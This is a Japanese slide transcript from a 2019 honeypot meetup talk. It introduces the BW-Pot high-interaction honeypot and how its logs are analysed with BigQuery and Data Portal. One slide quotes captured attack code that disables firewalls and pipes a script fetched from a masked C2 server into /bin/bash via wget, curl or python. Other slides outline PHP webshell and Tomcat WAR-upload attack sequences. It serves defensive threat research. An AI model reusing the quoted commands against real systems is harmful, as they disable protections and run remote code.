高対話型ハニーポット 「BW-Pot」の紹介と、Google BigQuery & データポータルを使用した分析の話/Introduction of BW-Pot, BigQuery and DataPortal

Bb6c58824da6ffb4aa734173e50bb7a0?s=47 graneed
March 09, 2019

高対話型ハニーポット 「BW-Pot」の紹介と、Google BigQuery & データポータルを使用した分析の話/Introduction of BW-Pot, BigQuery and DataPortal

2019年3月9日の第6回ハニーポッター技術交流会でLTした資料です。

第6回 ハニーポッター技術交流会
https://hanipo-tech.connpass.com/event/120318/

攻撃事例の詳細はこちら。
WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した
https://graneed.hatenablog.com/entry/2019/01/23/000924

Tomcatの管理機能に対するパスワードクラック後の攻撃を観察する
https://graneed.hatenablog.com/entry/2019/02/15/090727

Bb6c58824da6ffb4aa734173e50bb7a0?s=128

graneed

March 09, 2019
Tweet

Transcript

  1. 高対話型ハニーポット 「BW-Pot」の紹介と、 Google BigQuery & データポータルを 使用した分析の話 2019年3月9日 第6回 ハニーポッター技術交流会

    @graneed111
  2. 自己紹介 graneed セキュリティのお仕事 CTFer - チームnoraneco - SECCON 2018 国際決勝出場

    ハニーポッター 2
  3. 3 ハニーポットの運用目的は様々 スキャン活動の監視 マルウェア検体の入手 攻撃手法の収集

  4. 4 ハニーポットの分類 コロナ社「実践サイバーセキュリティモニタリング」より ハニーポット 攻撃経路 インタラクション サーバ クライアント ハニートークン 高対話

    ハイブリッド 低対話 分類 低対話型と高対話型の比較 インタラクション 検知精度 情報収集 偽装性 スケーラビリ ティ 安全性 低対話型 低 低 低 高 高 高対話型 高 高 高 低 低 本LTで話すテーマ
  5. 低対話型ハニーポットで頻繁に観測するもの 5 IoT機器やルータを狙ったスキャン phpMyAdminを狙ったスキャンまたはパスワードクラック WordPressを狙ったスキャンまたはパスワードクラック tomcatを狙ったスキャンまたはパスワードクラック ・ ・ ・

  6. 低対話型ハニーポットで頻繁に観測するもの 6 IoT機器やルータを狙ったスキャン phpMyAdminを狙ったスキャンまたはパスワードクラック WordPressを狙ったスキャンまたはパスワードクラック tomcatを狙ったスキャンまたはパスワードクラック ・ ・ ・

  7. スキャンのその先へ 7 攻撃者は、スキャン活動によって 狙ったプラットフォームや フレームワークの使用を確認後、 本格的な攻撃に移行 高対話型ハニーポットを用意し、 攻撃者に次のステップに 進んでもらいたい

  8. 高対話型ハニーポット 8 BW-Pot https://github.com/graneed/bwpot 特徴 ①頻繁に攻撃のターゲットとなっている  Webアプリケーション環境を使用 ②毎日、クリーンな環境に自動リストア ③Google BigQueryへのリアルタイムなログ連携

    ④低スペックなサーバで運用可能
  9. アーキテクチャ 9

  10. アーキテクチャ 10 WordPress、Tomcat、phpMyAdmin等、 ハニーポッターお馴染みの被攻撃アプリを搭載 リクエストURLに基づいてnginxがルーティング

  11. アーキテクチャ 11 Dockerコンテナで各アプリケーションを起動 日次でコンテナを再生成し、クリーンな環境にリストア

  12. アーキテクチャ 12 nginxが出力したアクセスログと、 tsharkのキャプチャデータを、 fluentdがリアルタイムにBigQueryへ連携

  13. Google BigQueryでSQLを使用した分析 13 SQLを使用したログ集計が可能

  14. Google BigQueryでSQLを使用した分析 14 SELECT uri,request_body FROM `honeypot-log-analysis.log.nginx_access` WHERE time >=

    TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 24 HOUR) EXCEPT DISTINCT SELECT uri,request_body FROM `honeypot-log-analysis.log.nginx_access` WHERE time < TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 24 HOUR) ORDER BY uri,request_body 新種のリクエストを一覧表示するSQLの例 「24時間以内に着弾したリクエスト」から 「24時間より前のアクセスログに出現していないリクエスト」の、 差集合をとって表示。
  15. Google BigQueryでSQLを使用した分析 15 SELECT time, REGEXP_EXTRACT(uri, r'(?:\?|&)pma_username=([^&]+)') pma_username, REGEXP_EXTRACT(uri, r'(?:\?|&)pma_password=([^&]+)')

    pma_password FROM `honeypot-log-analysis.log.nginx_access` WHERE REGEXP_EXTRACT(uri, r'(?:\?|&)(?:pma_username|pma_password)=([^&]+)') IS NOT NULL UNION ALL SELECT time, REGEXP_EXTRACT(request_body, r'(?:^|&)pma_username=([^&]+)') pma_username, REGEXP_EXTRACT(request_body, r'(?:^|&)pma_password=([^&]+)') pma_password FROM `honeypot-log-analysis.log.nginx_access` WHERE REGEXP_EXTRACT(request_body, r'(?:^|&)(?:pma_username|pma_password)=([^&]+)') IS NOT NULL ORDER BY time DESC phpMyAdminにログイン試行された username/passwordを一覧表示するSQLの例 正規表現を使用して、URIのクエリパラメータから、 pma_usernameとpma_passwordを抽出して取得。 POSTデータからも同様に抽出し、和集合をとって表示
  16. Googleデータポータルでダッシュボード作成 16

  17. Googleデータポータルでダッシュボード作成 17 デモ

  18. 必要スペックと費用 18 AWSのEC2のt3.nanoインスタンスで余裕の性能。 t3.nanoは月額700~800円程度。 リザーブドインスタンスなら年額4000~5000円程度。 日次と週次の再起動タイミングで スパイクするだけで2%以下を推移。

  19. 観察事例 19

  20. 観察事例1.PHP 20 低対話型 で観測 ①POST /hoge.php  fuga=die(@md5(J4nur4ry)); 4df5791c3e09e5c7faa7b3ce35d9cd4b ②POST /hoge.php

     images.php設置リクエスト ③POST /images.php  a=just for fun&code=文字列出力コード(BASE64エンコード) Hello, Peppa! ④POST /images.php  a=just for fun&code=システム情報出力コード (BASE64エンコード) システム情報 ⑤POST /images.php  a=just for fun&code=攻撃コード(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測
  21. 観察事例1.PHP 攻撃コード抜粋 $PS='/etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2

    stop;'; echo(@execute($PS)?'success':'failed'); $PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request; print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\', None,{\'User-Agent\':\'Mozilla/Python2\'})).read());" ) | /bin/bash'; die(@execute($PS)?'success':'failed'); ①Firewallの停止 ②C2サーバからシェルスクリプト取得して実行 (wget、curlまたはpythonのいずれかを使用) ① ②
  22. 観察事例2.Apache Tomcat 22 低対話型 で観測 ①パスワードクラック ②POST /admin-manager/admin.jsp  act=SI ③GET

    /manager/html  BASIC認証のID/Password ④WARファイルアップロード&デプロイ ⑥POST /admin-manager/admin.jsp  act=SH&p2=True&p1=攻撃コマンド(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測 認証OK ⑤POST /admin-manager/admin.jsp  act=SI システム情報
  23. カスタマイズ例 23

  24. 特定攻撃に対応したハニーポットを増築する例 24 新しい攻撃を観測すると、 その攻撃方法がどのように利用されるか気になる 公開されているPoC環境を利用して、 ハニーポットを増築すればよい!

  25. 特定攻撃に対応したハニーポットを増築する例 25 →「CVE-2018-1273」と判明 新規攻撃を観測 攻撃に利用された脆弱性を調査

  26. 特定攻撃に対応したハニーポットを増築する例 26 環境の構築方法を調査

  27. 特定攻撃に対応したハニーポットを増築する例 27 組み込み 新規コンテナ用 ファイル追加 リクエストURLの ルーティング追加 docker-composeに コンテナ組み込み

  28. 特定攻撃に対応したハニーポットを増築する例 28 稼働確認

  29. 特定攻撃に対応したハニーポットを増築する例 29 稼働確認 2019/3/9時点、後続の攻撃は無し・・・。忍耐あるのみ。

  30. まとめ 30 github :https://github.com/graneed/bwpot Blog :https://graneed.hatenablog.com/ →本日ご紹介した事例の詳細レポート記事もあります Twitter :@graneed111 高対話型のハニーポットを設置すると、

    攻撃者の生の動きを観察できます。 Google BigQuery・データポータルの組合せで、 ログデータを簡単かつ安価に可視化できます。 日々、観測した結果をハニーポットに フィードバックして機能強化し、 自分だけのハニーポットを育てていきましょう。